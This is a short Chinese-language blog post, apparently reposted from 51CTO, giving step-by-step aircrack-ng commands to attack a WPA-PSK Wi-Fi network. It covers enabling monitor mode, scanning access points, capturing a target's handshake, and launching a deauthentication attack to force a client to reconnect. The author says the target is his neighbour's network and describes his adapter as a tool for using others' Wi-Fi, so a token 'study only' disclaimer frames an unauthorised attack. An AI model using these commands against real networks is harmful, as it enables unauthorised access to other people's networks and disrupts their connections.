無線滲透筆記（一）-《攻擊WPA-PSK加密無線網絡》

這篇文章問什麼技術含量，因為東哥記性不好，目的是為了記錄一下指令，大家湊合看看不要當真。本教程隻作為學習研究之用，不能用于非法用途！！！

首先開啟無線網卡混雜模式,wlan1是東哥支援蹭網的便攜神器，之前文章有介紹。

1

<code>airmon-ng start wlan1</code>

然後看看周圍存在的熱點，觊觎鄰居家的無線網絡很久了：）

<code>airodump-ng mon1</code>

然後開始監聽目标網絡，通過--ivs過濾無用資料包，--bssid過濾其他AP，擷取成功後右上角會有顯示。

<code>airodump-ng --ivs -bssid AP的MAC位址 -w 握手封包件名 mon1</code>

<a href="http://s3.51cto.com/wyfs02/M00/25/6F/wKiom1NfkpCCjUqyAAHeoRGIjFI134.jpg" target="_blank"></a>

然後對目标AP發起死亡攻擊，鄰居家貌似就一個手機在連接配接，好久才搞到握手包。如果AP正在下載下傳電影，很快就能擷取到握手包。--ignore-negative-one 如果AP工作頻道不确定加上，用戶端MAC位址在之前通過airodump-ng擷取。

<code>aireplay-ng --ignore-negative-one -0 10 -a AP的MAC位址 -c 用戶端的MAC位址 mon1</code>

<a href="http://s3.51cto.com/wyfs02/M02/25/6F/wKioL1NfkoWyLlTuAAYjIz3ULzk500.jpg" target="_blank"></a>

最後我們可以看到擷取到的握手包。

<a href="http://s3.51cto.com/wyfs02/M00/25/6F/wKioL1NfkrnCp1ACAADUG0v2d3o644.jpg" target="_blank"></a>

如何進行字典破解，下回再講。

本文轉自文東會部落格51CTO部落格，原文連結http://blog.51cto.com/hackerwang/1404748如需轉載請自行聯系原作者

謝文東666